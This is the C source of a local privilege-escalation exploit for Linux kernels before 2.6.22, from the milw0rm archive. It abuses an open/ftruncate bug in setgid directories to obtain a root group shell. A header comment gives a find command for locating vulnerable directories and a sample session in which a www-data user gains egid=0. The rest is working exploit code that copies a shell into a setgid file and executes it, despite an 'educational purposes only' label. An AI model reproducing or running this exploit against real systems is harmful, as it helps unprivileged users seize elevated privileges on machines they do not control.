/* gw-ftrex.c: Linux kernel < 2.6.22 open/ftruncate local exploit by <gat3way at gat3way dot eu> bug information: http://osvdb.org/49081 !!!This is for educational purposes only!!! To use it, you've got to find a sgid directory you've got permissions to write into (obviously world-writable), e.g: find / -perm -2000 -type d 2>/dev/null|xargs ls -ld|grep "rwx" which fortunately is not common those days :) And also a shell that does not drop sgid privs upon execution (like ash/sash). E.g: test:/fileserver/samba$ ls -ld drwxrwsrwx 2 root root 4096 2008-10-27 16:27. test:/fileserver/samba$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) test:/fileserver/samba$ /tmp/gw-ftrex ash shell found! size=80200 We're evil evil evil! $ id uid=33(www-data) gid=33(www-data) egid=0(root) groups=33(www-data) Trqbva da kaja neshto umno kato zakliuchenie...ma sega ne moga da se setia. */ #include <unistd.h> #include <sys/types.h> #include <sys/mman.h> #include <fcntl.h> int main(int argc, char *argv[]) { char *buf=malloc(3096*1024); //3mb just to be sure int a,len; int fd,fd1; char *buf1; int shell=0; if (stat("/bin/ash",buf)==0) { printf("ash shell found!\n"); shell=1; } if (shell==0) if (stat("/bin/sash",buf)==0) { printf("sash shell found!\n"); shell=1; } if (shell==0) { printf("no suitable shell found (one that does not drop sgid permissions) :(\n"); exit(2); } len=0; if (shell==1) fd=open("/bin/ash",O_RDONLY); if (shell==2) fd=open("/bin/sash",O_RDONLY); while (read(fd,buf+len,1)) len++; printf("size=%d\n",len); fd1=open(".evilsploit",O_RDWR | O_CREAT | O_EXCL, 02750); ftruncate(fd1, len); buf1 = mmap(NULL, len, PROT_WRITE | PROT_EXEC, MAP_SHARED, fd1, 0); memcpy(buf1,buf,len); munmap(buf1,len); close(fd1);close(fd); free(buf); printf("We're evil evil evil!\n\n"); execv(".evilsploit", NULL); } // milw0rm.com [2008-10-27]
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